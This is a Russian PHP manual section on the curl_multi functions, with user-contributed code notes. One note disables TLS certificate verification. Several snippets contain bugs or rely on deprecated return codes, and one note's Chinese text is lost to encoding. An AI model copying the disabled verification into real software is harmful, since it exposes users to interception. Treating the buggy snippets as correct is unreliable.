There are no user contributed notes for this page.


Запускает подсоединения текущего дескриптора cURL

  • « curl_multi_errno
  • curl_multi_getcontent »
  • PHP Manual
  • Функции cURL
  • Запускает подсоединения текущего дескриптора cURL

curl_multi_exec

(PHP 5, PHP 7, PHP 8)

curl_multi_exec — Запускает подсоединения текущего дескриптора cURL

Описание

curl_multi_exec(CurlMultiHandle $multi_handle, int &$still_running): int

Обрабатывает каждый дескриптор в стеке. Этот метод может быть вызван вне зависимости от необходимости дескриптора читать или записывать данные.

Список параметров

multi_handle

Мультидескриптор cURL, полученный из curl_multi_init().

still_running

Ссылка на флаг, указывающий, идут ли ещё какие-либо действия.

Возвращаемые значения

Код cURL, указанный в предопределённых константах cURL.

Замечание:

Здесь возвращаются ошибки, относящиеся только ко всему стеку. Проблемы всё ещё могут произойти на индивидуальных запросах, даже когда эта функция возвращает CURLM_OK.

Список изменений

Версия | Описание
8.0.0 | multi_handle теперь ожидает экземпляр; раньше, ожидался ресурс (resource).

Примеры

Пример #1 Пример использования curl_multi_exec()

Этот пример создаст два дескриптора cURL, добавит их в набор дескрипторов, а затем запустит их асинхронно.

<?php
// создаём оба ресурса cURL
$ch1 = curl_init();
$ch2 = curl_init();

// устанавливаем URL и другие соответствующие опции
curl_setopt($ch1, CURLOPT_URL, "http://example.com/");
curl_setopt($ch1, CURLOPT_HEADER, 0);
curl_setopt($ch2, CURLOPT_URL, "http://www.php.net/");
curl_setopt($ch2, CURLOPT_HEADER, 0);

//создаём набор дескрипторов cURL
$mh = curl_multi_init();

//добавляем два дескриптора
curl_multi_add_handle($mh,$ch1);
curl_multi_add_handle($mh,$ch2);

//запускаем множественный обработчик
do {
$status = curl_multi_exec($mh, $active);
if ($active) {
// Ждём какое-то время для оживления активности
curl_multi_select($mh);
}
} while ($active && $status == CURLM_OK);

//закрываем дескрипторы
curl_multi_remove_handle($mh, $ch1);
curl_multi_remove_handle($mh, $ch2);
curl_multi_close($mh);

?>

Смотрите также

  • curl_multi_init() - Создаёт набор cURL-дескрипторов
  • curl_multi_select() - Ждёт активности на любом curl_multi соединении
  • curl_exec() - Выполняет запрос cURL

User Contributed Notes

maxpanchnko at gmail dot com 22-May-2022 12:15
One of examples, how to make multi_curl faster twice (pseudocode) with Fibers:

<?php

$curlHandles = [];
$urls = [
    'https://example.com/1',
    'https://example.com/2',
    ...
    'https://example.com/1000',
];
$mh = curl_multi_init();
$mh_fiber = curl_multi_init();

$halfOfList = floor(count($urls) / 2);
foreach ($urls as $index => $url) {
    $ch = curl_init($url);
    $curlHandles[] = $ch;

    // half of urls will be run in background in fiber
    $index > $halfOfList ? curl_multi_add_handle($mh_fiber, $ch) : curl_multi_add_handle($mh, $ch);
}

$fiber = new Fiber(function (CurlMultiHandle $mh) {
    $still_running = null;
    do {
        curl_multi_exec($mh, $still_running);
        Fiber::suspend();
    } while ($still_running);
});

// run curl multi exec in background while fiber is in suspend status
$fiber->start($mh_fiber);

$still_running = null;
do {
    $status = curl_multi_exec($mh, $still_running);
} while ($still_running);

do {
    /**
     * at this moment curl in fiber already finished (maybe)
     * so we must refresh $still_running variable with one more cycle "do while" in fiber
     **/
    $status_fiber = $fiber->resume();
} while (!$fiber->isTerminated());

foreach ($curlHandles as $index => $ch) {
    $index > $halfOfList ? curl_multi_remove_handle($mh_fiber, $ch) : curl_multi_remove_handle($mh, $ch);
}
curl_multi_close($mh);
curl_multi_close($mh_fiber);
?>
Timo Huovinen 27-Sep-2019 06:53
Just for people struggling to get this to work, here is my approach.
No infinite loops, no CPU 100%, speed can be tweaked.

<?php
function curl_multi_exec_full($mh, &$still_running) {
    do {
        $state = curl_multi_exec($mh, $still_running);
    } while ($still_running > 0 && $state === CURLM_CALL_MULTI_PERFORM && curl_multi_select($mh, 0.1));
    return $state;
}
function curl_multi_wait($mh, $minTime = 0.001, $maxTime = 1){
    $umin = $minTime*1000000;

    $start_time = microtime(true);
    $num_descriptors = curl_multi_select($mh, $maxTime);
    if($num_descriptors === -1){
        usleep($umin);
    }

    $timespan = (microtime(true) - $start_time);
    if($timespan < $umin){
        usleep($umin - $timespan);
    }
}

$handles = [
    [
        CURLOPT_URL=>"http://example.com/",
        CURLOPT_HEADER=>false,
        CURLOPT_RETURNTRANSFER=>true,
        CURLOPT_FOLLOWLOCATION=>false,
    ],
    [
        CURLOPT_URL=>"http://www.php.net",
        CURLOPT_HEADER=>false,
        CURLOPT_RETURNTRANSFER=>true,
        CURLOPT_FOLLOWLOCATION=>false,

        // https://stackoverflow.com/a/41135574
        CURLOPT_HEADERFUNCTION=>function($ch, $header)
        {
            print "header from http://www.php.net: ".$header;
            return strlen($header);
        }
    ]
];

$mh = curl_multi_init();

$chandles = [];
foreach($handles as $opts) {
    $ch = curl_init();
    curl_setopt_array($ch, $opts);
    curl_multi_add_handle($mh, $ch);
    $chandles[] = $ch;
}

$prevRunning = null;
do {
    $status = curl_multi_exec_full($mh, $running);
    if($running < $prevRunning){
        while ($read = curl_multi_info_read($mh, $msgs_in_queue)) {

            $info = curl_getinfo($read['handle']);

            if($read['result'] !== CURLE_OK){
                print "Error: ".$info['url'].PHP_EOL;
            }

            if($read['result'] === CURLE_OK){
                /*
                if(isset($info['redirect_url']) && trim($info['redirect_url'])!==''){

                    print "running redirect: ".$info['redirect_url'].PHP_EOL;
                    $ch3 = curl_init();
                    curl_setopt($ch3, CURLOPT_URL, $info['redirect_url']);
                    curl_setopt($ch3, CURLOPT_HEADER, 0);
                    curl_setopt($ch3, CURLOPT_RETURNTRANSFER, 1);
                    curl_setopt($ch3, CURLOPT_FOLLOWLOCATION, 0);
                    curl_multi_add_handle($mh,$ch3);
                }
                */

                print_r($info);
                //echo curl_multi_getcontent($read['handle']));
            }
        }
    }

    if ($running > 0) {
        curl_multi_wait($mh);
    }

    $prevRunning = $running;

} while ($running > 0 && $status == CURLM_OK);
foreach($chandles as $ch){
    curl_multi_remove_handle($mh, $ch);
}
curl_multi_close($mh);
?>
gmail at com dot asmqb7 10-Apr-2019 01:17
/!\ ATTENTION
/!\ Several of the non-downvoted notes on this page are using outdated info.

The CURLM_CALL_MULTI_PERFORM return code has been defunct since circa 2012, at least seven years ago.

Quoting the author of curl, from https://curl.haxx.se/mail/lib-2012-08/0042.html:

> CURLM_CALL_MULTI_PERFORM is deprecated and will never be returned, as documented.

> During the first decade or so of libcurl's multi interface, I never saw a single proper use of that feature. I did however see numerous mistakes and misunderstandings. That made me decide that the feature wasn't important or good enough, so since 7.20.0 CURLM_CALL_MULTI_PERFORM is no more.

Discovered all of this thanks to https://stackoverflow.com/q/19490837/3229684, which suggested the following replacement while loop:

<?php
do {
    $mrc = curl_multi_exec($mc, $active);
} while ($active > 0);
?>

https://www.google.com/search?q=CURLM_CALL_MULTI_PERFORM <-- probably the most future-proof useful link I can put here
evaisse at gmail dot com 18-May-2018 03:30
This example is not fully working on PHP5.6.

Using curl_multi, and CURLOPT_VERBOSE & CURLOPT_STDERR, If found that sending curl_multi request before any "classic" cURL request will result in timeout error against some hostname. The error message display

    > * Hostname was NOT found in DNS cache

It seems that that adding this line to the first loop solve this problem.

       do {
            $mrc = curl_multi_exec($mh, $active);
            // check errors
            if ($mrc > 0) {
                // display error
                error_log(curl_multi_strerror($mrc));
            }
        } while ($mrc === CURLM_CALL_MULTI_PERFORM || $active);

source : https://stackoverflow.com/questions/30935541/php-curl-error-hostname-was-not-found-in-dns-cache
Silvio Garbes 24-Jun-2016 05:08
// Todas url gravadas em array
$url[] = 'http://www.link1.com.br';
$url[] = 'https://www.link2.com.br';
$url[] = 'https://www.link3.com.br';

// Setando opcao padrao para todas url e adicionando a fila para processamento
$mh = curl_multi_init();
foreach($url as $key => $value){
  $ch[$key] = curl_init($value);
  curl_setopt($ch[$key], CURLOPT_NOBODY, true);
  curl_setopt($ch[$key], CURLOPT_HEADER, true);
  curl_setopt($ch[$key], CURLOPT_RETURNTRANSFER, true);
  curl_setopt($ch[$key], CURLOPT_SSL_VERIFYPEER, false);
  curl_setopt($ch[$key], CURLOPT_SSL_VERIFYHOST, false);

  curl_multi_add_handle($mh,$ch[$key]);
}

// Executando consulta
do {
  curl_multi_exec($mh, $running);
  curl_multi_select($mh);
} while ($running > 0);

// Obtendo dados de todas as consultas e retirando da fila
foreach(array_keys($ch) as $key){
  echo curl_getinfo($ch[$key], CURLINFO_HTTP_CODE);
  echo curl_getinfo($ch[$key], CURLINFO_EFFECTIVE_URL);
  echo "\n";

  curl_multi_remove_handle($mh, $ch[$key]);
}

// Finalizando
curl_multi_close($mh);
Zappie 17-Aug-2015 08:36
Probably you also want to be able to download the HTML content into buffers/variables, for parsing the HTML or for other processing in your program.

The example code on this page only outputs everything on the screen, without giving you the possibility to save the downloaded pages in string variables. Because downloading multiple pages is what I wanted to do (not a big surprise, huh? that's the reason for using multi-page parallel Curl) I was initially baffled, because this page doesn't give pointers to a guide how to do that.

Fortunately, there's a way to download content with parallel Curl requests (just like you would do for a single download with the regular curl_exec). You need to use: http://php.net/manual/en/function.curl-multi-getcontent.php

The function curl_multi_getcontent should definitely be mentioned in the "See Also" section of curl_multi_exec. Probably most people who find their way to the docs page of curl_multi_exec, actually want to download the multiple HTML pages (or other content from the multiple parallel Curl connections) into buffers, one page per one buffer.
jorov at mail dot bg 23-Oct-2014 03:22
I tried Daniel G Zylberberg's function and
it was not working the way it was posted.
I made some changes to get it work and here is what I use:

function multiCurl($res, $options=""){

        if(count($res)<=0) return False;

        $handles = array();

        if(!$options) // add default options
            $options = array(
                CURLOPT_HEADER=>0,
                CURLOPT_RETURNTRANSFER=>1,
            );

        // add curl options to each handle
        foreach($res as $k=>$row){
            $ch{$k} = curl_init();
            $options[CURLOPT_URL] = $row['url'];
            $opt = curl_setopt_array($ch{$k}, $options);
            var_dump($opt);
            $handles[$k] = $ch{$k};
        }

        $mh = curl_multi_init();

        // add handles
        foreach($handles as $k => $handle){
            $err = curl_multi_add_handle($mh, $handle);
        }

        $running_handles = null;

        do {
          curl_multi_exec($mh, $running_handles);
          curl_multi_select($mh);
        } while ($running_handles > 0);

        foreach($res as $k=>$row){
            $res[$k]['error'] = curl_error($handles[$k]);
            if(!empty($res[$k]['error']))
                $res[$k]['data']  = '';
            else
                $res[$k]['data']  = curl_multi_getcontent( $handles[$k] );  // get results

            // close current handler
            curl_multi_remove_handle($mh, $handles[$k] );
        }
        curl_multi_close($mh);
        return $res; // return response
}
qdujunjie at 126 dot com 17-Sep-2014 02:30
when you run curl_multi_exec() on the OS X mavericks system you may not get the right return, the scripts may running and running but no return value.
That's because on the OSX system with the php version 5.3.8+, when you call the curl_multi_exec() method before calling the curl_multi_select(), may always return the -1.
So here change a little code to running  the curl_multi_exec() successful on OSX below.

<?php

$ch1 = curl_init();
$ch2 = curl_init();

// ??URL??????
curl_setopt($ch1, CURLOPT_URL, "http://lxr.php.net");
curl_setopt($ch1, CURLOPT_HEADER, 0);
curl_setopt($ch2, CURLOPT_URL, "http://www.php.net");
curl_setopt($ch2, CURLOPT_HEADER, 0);

// ?????cURL??
$mh = curl_multi_init();

// ??2???
curl_multi_add_handle($mh,$ch1);
curl_multi_add_handle($mh,$ch2);

$active = null;

do {
    $mrc = curl_multi_exec($mh, $active);
} while ($mrc == CURLM_CALL_MULTI_PERFORM);

while ($active && $mrc == CURLM_OK)
{
   // add this line
   while (curl_multi_exec($mh, $active) === CURLM_CALL_MULTI_PERFORM);

   if (curl_multi_select($mh) != -1)
   {
       do {
           $mrc = curl_multi_exec($mh, $active);
           if ($mrc == CURLM_OK)
           {
               while($info = curl_multi_info_read($mh))
               {
                   var_dump($info);
               }
           }
       } while ($mrc == CURLM_CALL_MULTI_PERFORM);
   }
}

 //close the handles
curl_multi_remove_handle($mh, $ch1);
curl_multi_remove_handle($mh, $ch2);
curl_multi_close($mh);

?>
qdujunjie at 126 dot com 17-Sep-2014 02:22
??OS X mavericks???curl_multi_exec()?,
???????????,
?????????????????,
?????OS X??php?5.3.8?????,
???curl_multi_exec()????curl_multi_select()?????-1,
??????????,
???OS X?????:

<?php

$ch1 = curl_init();
$ch2 = curl_init();

// ??URL??????
curl_setopt($ch1, CURLOPT_URL, "http://lxr.php.net");
curl_setopt($ch1, CURLOPT_HEADER, 0);
curl_setopt($ch2, CURLOPT_URL, "http://www.php.net");
curl_setopt($ch2, CURLOPT_HEADER, 0);

// ?????cURL??
$mh = curl_multi_init();

// ??2???
curl_multi_add_handle($mh,$ch1);
curl_multi_add_handle($mh,$ch2);

$active = null;

do {
    $mrc = curl_multi_exec($mh, $active);
} while ($mrc == CURLM_CALL_MULTI_PERFORM);

while ($active && $mrc == CURLM_OK)
{
   // add this line
   while (curl_multi_exec($mh, $active) === CURLM_CALL_MULTI_PERFORM);

   if (curl_multi_select($mh) != -1)
   {
       do {
           $mrc = curl_multi_exec($mh, $active);
           if ($mrc == CURLM_OK)
           {
               while($info = curl_multi_info_read($mh))
               {
                   var_dump($info);
               }
           }
       } while ($mrc == CURLM_CALL_MULTI_PERFORM);
   }
}

 //close the handles
curl_multi_remove_handle($mh, $ch1);
curl_multi_remove_handle($mh, $ch2);
curl_multi_close($mh);

?>
pulksh at gmail dot com 06-Mar-2014 09:28
This example not working on window 7 with php version 5.3.27.
Ren 17-Aug-2013 01:54
Solve CPU 100% usage, a more simple and right way:

<?php

do {
    curl_multi_exec($mh, $running);
    curl_multi_select($mh);
} while ($running > 0);

?>
Daniel G Zylberberg 11-Jul-2012 06:00
This function wait for the last page, can get a configuration array with curl options to made a post, or pass timeouts, etc.
Retun the same array but add "error", and "data".Error is the string destription if something fail, data is the response.

<?php
// author: Daniel G Zylberberg
// date 11 jul 2012
// $res: array with structure 0=>array("url"=>"blah"),1=>array("url"=>"some url")
// $options (optional): array with curl options (timeout, postfields, etc)
// return the same array that gets, and add "data" to the current row(html content)
// and "error", with the string description in the case that something fail.

function multiCurl($res,$options=""){

        if(count($res)<=0) return False;

        $handles = array();

        if(!$options) // add default options
            $options = array(
                CURLOPT_HEADER=>0,
                CURLOPT_RETURNTRANSFER=>1,
            );

        // add curl options to each handle
        foreach($res as $k=>$row){
            $ch{$k} = curl_init();
            $options[CURLOPT_URL] = $row['url'];
            curl_setopt_array($ch{$k}, $options);
            $handles[$k] = $ch{$k};
        }

        $mh = curl_multi_init();

        foreach($handles as $k => $handle){
            curl_multi_add_handle($mh,$handle);
            //echo "<br>adding handle {$k}";
        }

        $running_handles = null;
        //execute the handles
        do {
            $status_cme = curl_multi_exec($mh, $running_handles);
        } while ($cme == CURLM_CALL_MULTI_PERFORM);

        while ($running_handles && $status_cme == CURLM_OK) {
            if (curl_multi_select($mh) != -1) {
                do {
                    $status_cme = curl_multi_exec($mh, $running_handles);
                   // echo "<br>''threads'' running = {$running_handles}";
                } while ($status == CURLM_CALL_MULTI_PERFORM);
            }
        }

        foreach($res as $k=>$row){
            $res[$k]['error'] = curl_error($handles[$k]);
            if(!empty($res[$k]['error']))
                $res[$k]['data']  = '';
            else
                $res[$k]['data']  = curl_multi_getcontent( $handles[$k] );  // get results

            // close current handler
            curl_multi_remove_handle($mh, $handles[$k] );
        }
        curl_multi_close($mh);
        return $res; // return response
}

$res = array(
        "11"=>array("url"=>"http://localhost/public_html/test/sleep.php?t=1"),
        "13"=>array("url"=>"http://localhost/public_html/test/sleep.php?t=3"),
        "25"=>array("url"=>"this doesn't exist"),

);
print_r( multiCurl($res));
?>

---------- sleep.php -------------------------------------
<?php
sleep($_GET['t']);
echo "sleep for {$_GET['t']} seconds and show this.";
?>
emmet at trovit dot com 25-Jun-2012 04:57
Here's something that had me pulling my hair out for quite a while. I was trying to download multiple files and save each one in a file. If you want to read the file again in the same script that has downloaded the url, always make sure to close the original filehandle that you opened for the connection BEFORE trying to read from the file again, even if you open a new filehandle to do so. If you don't do this, a file_get_contents() or fread() will cut your file and only return a limited size of it, 40960 characters in my case, without any other explanation or error. The file will exist (and be complete) on your disk, PHP just wont show it.

I (perhaps mistakenly) thought this was a bug so I created a bug report, see it for examples of the code I used to recreate this misterious behavior:
https://bugs.php.net/bug.php?id=62409
Jimmy Ruska 13-Sep-2008 11:56
> replying to viczbk.ru

Just sharing my attempt at it.

> while (($res = curl_multi_select($mh)) === 0) {};
This worked on my windows computer (php 5.2.5) but when I ran the curl program in my new centOS server (php 5.1.6) the function never updates unless curl_multi_exec() is added to the loop, taking away the point of using it to save cycles. curl_multi_select() also allows you to set a timeout but it doesn't seem to help, then again, don't see why people wouldn't use it anyway.

Even when curl_multi_select($mh) does work there's no way to know which of the sockets updated in status or if they've received partial data, completely finished, or just timed out. It's not reliable if you want to remove / add data as soon as things finish. Try calling just example.com or some other website with very little data. curl_multi_select($mh) can send non 0 value a couple of thousand times before finishing. Lazily adding a usleep(25000) or some minimal amount can also help not waste cycles.
viczbk.ru 08-Feb-2008 08:04
http://curl.haxx.se/libcurl/c/libcurl-multi.html

"When you've added the handles you have for the moment (you can still add new ones at any time), you start the transfers by call curl_multi_perform(3).

curl_multi_perform(3) is asynchronous. It will only execute as little as possible and then return back control to your program. It is designed to never block. If it returns CURLM_CALL_MULTI_PERFORM you better call it again soon, as that is a signal that it still has local data to send or remote data to receive."

So it seems the loop in sample script should look this way:

<?php
$running=null;
//execute the handles
do {
    while (CURLM_CALL_MULTI_PERFORM === curl_multi_exec($mh, $running));
    if (!$running) break;
    while (($res = curl_multi_select($mh)) === 0) {};
    if ($res === false) {
        echo "<h1>select error</h1>";
        break;
    }
} while (true);
?>

This worked fine (PHP 5.2.5 @ FBSD 6.2) without running non-blocked loop and wasting CPU time.

However this seems to be the only use of curl_multi_select, coz there's no simple way to bind it with other PHP wrappers for select syscall.
robert dot reichel at boboton dot com 20-Oct-2007 05:54
I was testing PHP code provided by dtorop933@gmail.com in curl_multi_exec section of PHP Manual.

The part of the code '$err = curl_error($conn[$i])' should return error message for each cURL session, but it does not.
The function curl_error() works well with the curl_exec(). Is there any other solution for getting session error message with curl_multi_exec() or there is a bug in cURL library.

The script was tested with Windows XP and PHP-5.2.4
substr(&#34;iscampifriese&#34;,1,11) dot &#34; at beer dot com&#34; 04-Jul-2007 06:10
If you are using mulit handles and you wish to re-execute any of them (if they timed out or something), then you need to remove the handles from the mulit-handle and then re-add them in order to get them to re-execute.  Otherwise cURL will just give you back the same results again without actually retrying.


Возвращает результат операции, если была установлена опция CURLOPT_RETURNTRANSFER

  • « curl_multi_exec
  • curl_multi_info_read »
  • PHP Manual
  • Функции cURL
  • Возвращает результат операции, если была установлена опция CURLOPT_RETURNTRANSFER

curl_multi_getcontent

(PHP 5, PHP 7, PHP 8)

curl_multi_getcontent — Возвращает результат операции, если была установлена опция CURLOPT_RETURNTRANSFER

Описание

curl_multi_getcontent(CurlHandle $handle): ?string

Если для определённого дескриптора была установлена опция CURLOPT_RETURNTRANSFER, то эта функция вернёт содержимое этого cURL-дескриптора в виде строки.

Список параметров

handle

Дескриптор cURL, полученный из curl_init().

Возвращаемые значения

Возвращает содержимое cURL-дескриптора, если была использована опция CURLOPT_RETURNTRANSFER или null, если опция не была задана.

Список изменений

Версия | Описание
8.0.0 | handle теперь ожидает экземпляр CurlHandle; раньше, ожидался ресурс (resource).

Смотрите также

  • curl_multi_init() - Создаёт набор cURL-дескрипторов

User Contributed Notes

nolife 28-Nov-2017 05:45
It's probably a bug in the curl multi implementation:

In many many cases you keep the curl connection alive after a curl_exec().
With curl_multi that's not possible if you don't do this after every get_content() :
 curl_multi_remove_handle($ch);
 curl_multi_add_handle($ch);

I've not yet tested if this also breaks the keepalive connection but if you don't do this you'll just get the old previous response after each curl_multi_exec()
michael at xendica dot com 19-Apr-2014 06:28
This seems to work as expected for me - allowing me to get the content from a curl_multi operation into variables :

(Thanks go to many other notes in related documentation (there is much copy/pasting) all I did was add the relevant line(s))

<?
    $aURLs = array("http://www.php.net","http://www.w3cschools.com"); // array of URLs
    $mh = curl_multi_init(); // init the curl Multi

    $aCurlHandles = array(); // create an array for the individual curl handles

    foreach ($aURLs as $id=>$url) { //add the handles for each url
        $ch = curl_setup($url,$socks5_proxy,$usernamepass);
        $ch = curl_init(); // init curl, and then setup your options
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); // returns the result - very important
        curl_setopt($ch, CURLOPT_HEADER, 0); // no headers in the output

        $aCurlHandles[$url] = $ch;
        curl_multi_add_handle($mh,$ch);
    }

    $active = null;
    //execute the handles
    do {
        $mrc = curl_multi_exec($mh, $active);
    }
    while ($mrc == CURLM_CALL_MULTI_PERFORM);

    while ($active && $mrc == CURLM_OK) {
        if (curl_multi_select($mh) != -1) {
            do {
                $mrc = curl_multi_exec($mh, $active);
            } while ($mrc == CURLM_CALL_MULTI_PERFORM);
        }
    }

/* This is the relevant bit */
        // iterate through the handles and get your content
    foreach ($aCurlHandles as $url=>$ch) {
        $html = curl_multi_getcontent($ch); // get the content
                // do what you want with the HTML
        curl_multi_remove_handle($mh, $ch); // remove the handle (assuming  you are done with it);
    }
/* End of the relevant bit */

    curl_multi_close($mh); // close the curl multi handler

?>
butesa at freenet dot de 10-Sep-2013 08:51
You can use curl_multi_getcontent() on a curl handle that was executed with curl_exec() (and not added to a multi handle).
However, this is not very useful because curl_multi_getcontent() will return the same as curl_exec() then.

<?php
 $ch = curl_init('http://www.example.com/');
 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
 $a = curl_exec($ch);
 $b = curl_multi_getcontent($ch);
 var_dump($a === $b);
 curl_close($ch);
?>
will return:

bool(true)


Возвращает информацию о текущих операциях

  • « curl_multi_getcontent
  • curl_multi_init »
  • PHP Manual
  • Функции cURL
  • Возвращает информацию о текущих операциях

curl_multi_info_read

(PHP 5, PHP 7, PHP 8)

curl_multi_info_read — Возвращает информацию о текущих операциях

Описание

curl_multi_info_read(CurlMultiHandle $multi_handle, int &$queued_messages = null): array|false

Опрашивает набор дескрипторов о наличии сообщений или информации от индивидуальных передач. Сообщения могут включать такую информацию как код ошибки передачи или просто факт завершения передачи.

Повторяющиеся вызовы этой функции будут каждый раз возвращать новый результат, пока не будет возвращено false в качестве сигнала окончания сообщений. Целое число, содержащееся в queued_messages, указывает количество оставшихся сообщений после вызова данной функции.

Внимание

Данные, на которые указывает возвращаемый ресурс, будут затёрты вызовом curl_multi_remove_handle().

Список параметров

multi_handle

Мультидескриптор cURL, полученный из curl_multi_init().

queued_messages

Количество оставшихся сообщений в очереди

Возвращаемые значения

В случае успешного выполнения возвращает ассоциативный массив сообщений или false в случае возникновения ошибки.

Содержимое возвращаемого массива
Ключ: | Значение:
msg | Константа CURLMSG_DONE. Остальные возвращаемые значения пока недоступны.
result | Одна из констант CURLE_*. Если всё хорошо, результатом будет константа CURLE_OK.
handle | Ресурс типа curl, указывающий на дескриптор, к которому он относится.

Список изменений

Версия | Описание
8.0.0 | multi_handle теперь ожидает экземпляр; раньше, ожидался ресурс (resource).

Примеры

Пример #1 Пример использования curl_multi_info_read()

<?php

$urls = array(
"http://www.cnn.com/",
"http://www.bbc.co.uk/",
"http://www.yahoo.com/"
);

$mh = curl_multi_init();

foreach ($urls as $i => $url) {
$conn[$i] = curl_init($url);
curl_setopt($conn[$i], CURLOPT_RETURNTRANSFER, 1);
curl_multi_add_handle($mh, $conn[$i]);
}

do {
$status = curl_multi_exec($mh, $active);
if ($active) {
curl_multi_select($mh);
}
while (false !== ($info = curl_multi_info_read($mh))) {
var_dump($info);
}
} while ($active && $status == CURLM_OK);

foreach ($urls as $i => $url) {
$res[$i] = curl_multi_getcontent($conn[$i]);
curl_close($conn[$i]);
}

var_dump(curl_multi_info_read($mh));

?>

Результатом выполнения данного примера будет что-то подобное:

array(3) {
  ["msg"]=>
  int(1)
  ["result"]=>
  int(0)
  ["handle"]=>
  resource(5) of type (curl)
}
array(3) {
  ["msg"]=>
  int(1)
  ["result"]=>
  int(0)
  ["handle"]=>
  resource(7) of type (curl)
}
array(3) {
  ["msg"]=>
  int(1)
  ["result"]=>
  int(0)
  ["handle"]=>
  resource(6) of type (curl)
}
bool(false)

Смотрите также

  • curl_multi_init() - Создаёт набор cURL-дескрипторов

User Contributed Notes

Nick Smith 28-May-2010 01:41
Just to let others who might be struggling to get it to work, curl_multi_info_read() doesn't work in PHP versions before 5.2.0, and instead returns NULL immediately.


Создаёт набор cURL-дескрипторов

  • « curl_multi_info_read
  • curl_multi_remove_handle »
  • PHP Manual
  • Функции cURL
  • Создаёт набор cURL-дескрипторов

curl_multi_init

(PHP 5, PHP 7, PHP 8)

curl_multi_init — Создаёт набор cURL-дескрипторов

Описание

curl_multi_init(): CurlMultiHandle

Позволяет асинхронную обработку множества cURL-дескрипторов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает набор cURL-дескрипторов.

Список изменений

Версия | Описание
8.0.0 | В случае успешного выполнения возвращает экземпляр CurlMultiHandle; раньше, возвращался ресурс (resource).

Примеры

Пример #1 Пример использования curl_multi_init()

Этот пример создаст два дескриптора cURL, добавит их в набор дескрипторов, а затем запустит их асинхронно.

<?php
// создаём оба ресурса cURL
$ch1 = curl_init();
$ch2 = curl_init();

// устанавливаем URL и другие соответствующие опции
curl_setopt($ch1, CURLOPT_URL, "http://lxr.php.net/");
curl_setopt($ch1, CURLOPT_HEADER, 0);
curl_setopt($ch2, CURLOPT_URL, "http://www.php.net/");
curl_setopt($ch2, CURLOPT_HEADER, 0);

//создаём набор дескрипторов cURL
$mh = curl_multi_init();

//добавляем два дескриптора
curl_multi_add_handle($mh,$ch1);
curl_multi_add_handle($mh,$ch2);

//запускаем множественный обработчик
do {
$status = curl_multi_exec($mh, $active);
if ($active) {
curl_multi_select($mh);
}
} while ($active && $status == CURLM_OK);

//закрываем все дескрипторы
curl_multi_remove_handle($mh, $ch1);
curl_multi_remove_handle($mh, $ch2);
curl_multi_close($mh);

?>

Смотрите также

  • curl_init() - Инициализирует сеанс cURL
  • curl_multi_close() - Закрывает набор cURL-дескрипторов

User Contributed Notes

Adam Richardson 20-Dec-2017 05:41
One of the URLs used in the first example on this page (lxr.php.net) now gives a proxy error.

If you're using this first script example, replace with a different URL.
w_haigh at yahoo dot com 13-Oct-2015 03:46
Here's an easier to follow example, From : http://arguments.callee.info/2010/02/21/multiple-curl-requests-with-php/

// build the individual requests, but do not execute them
$ch_1 = curl_init('http://webservice.one.com/');
$ch_2 = curl_init('http://webservice.two.com/');
curl_setopt($ch_1, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch_2, CURLOPT_RETURNTRANSFER, true);

// build the multi-curl handle, adding both $ch
$mh = curl_multi_init();
curl_multi_add_handle($mh, $ch_1);
curl_multi_add_handle($mh, $ch_2);

// execute all queries simultaneously, and continue when all are complete
  $running = null;
  do {
    curl_multi_exec($mh, $running);
  } while ($running);

//close the handles
curl_multi_remove_handle($mh, $ch1);
curl_multi_remove_handle($mh, $ch2);
curl_multi_close($mh);

// all of our requests are done, we can now access the results
$response_1 = curl_multi_getcontent($ch_1);
$response_2 = curl_multi_getcontent($ch_2);
echo "$response_1 $response_2"; // output results
xxavalanchexx at gmail dot com 20-May-2014 12:17
According to https://bugs.php.net/bug.php?id=61141:

On Windows setups using libcurl version 7.24 or later (which seems to correspond to PHP 5.3.10 or later), you may find that curl_multi_select() always returns -1, causing the example code in the documentation to timeout. This is, apparently, not strictly a bug: according to the libcurl documentation, you should add your own sleep if curl_multi_select returns -1.

Therefore, in order to work correctly on Windows for PHP 5.3.10+, the second loop in the example code should look something like the following:

<?php
while ($active && $mrc == CURLM_OK) {
    if (curl_multi_select($mh) == -1) {
        usleep(100);
    }
    do {
        $mrc = curl_multi_exec($mh, $active);
    } while ($mrc == CURLM_CALL_MULTI_PERFORM);
}
?>
hushuilong at gmail dot com 05-Aug-2011 12:21
Simulate multiple threads request:
<?php
function multiple_threads_request($nodes){
        $mh = curl_multi_init();
        $curl_array = array();
        foreach($nodes as $i => $url)
        {
            $curl_array[$i] = curl_init($url);
            curl_setopt($curl_array[$i], CURLOPT_RETURNTRANSFER, true);
            curl_multi_add_handle($mh, $curl_array[$i]);
        }
        $running = NULL;
        do {
            usleep(10000);
            curl_multi_exec($mh,$running);
        } while($running > 0);

        $res = array();
        foreach($nodes as $i => $url)
        {
            $res[$url] = curl_multi_getcontent($curl_array[$i]);
        }

        foreach($nodes as $i => $url){
            curl_multi_remove_handle($mh, $curl_array[$i]);
        }
        curl_multi_close($mh);
        return $res;
}
print_r(muti_thread_request(array(
    'http://www.example.com',
    'http://www.example.net',
)));
?>


Удаляет cURL дескриптор из набора cURL дескрипторов

  • « curl_multi_init
  • curl_multi_select »
  • PHP Manual
  • Функции cURL
  • Удаляет cURL дескриптор из набора cURL дескрипторов

curl_multi_remove_handle

(PHP 5, PHP 7, PHP 8)

curl_multi_remove_handle — Удаляет cURL дескриптор из набора cURL дескрипторов

Описание

curl_multi_remove_handle(CurlMultiHandle $multi_handle, CurlHandle $handle): int

Удаляет указанный дескриптор handle из указанного набора дескрипторов multi_handle. После того, как дескриптор handle удалён, его можно снова совершенно легально использовать в функции curl_exec(). Удаление дескриптора handle во время использования также остановит текущую передачу, идущую на этом дескрипторе.

Список параметров

multi_handle

Мультидескриптор cURL, полученный из curl_multi_init().

handle

Дескриптор cURL, полученный из curl_init().

Возвращаемые значения

В случае успешного выполнения возвращает 0 или одну из констант CURLM_XXX, где XXX - код ошибки.

Список изменений

Версия | Описание
8.0.0 | multi_handle теперь ожидает экземпляр; раньше, ожидался ресурс (resource).
8.0.0 | handle теперь ожидает экземпляр CurlHandle; раньше, ожидался ресурс (resource).

Смотрите также

  • curl_init() - Инициализирует сеанс cURL
  • curl_multi_init() - Создаёт набор cURL-дескрипторов
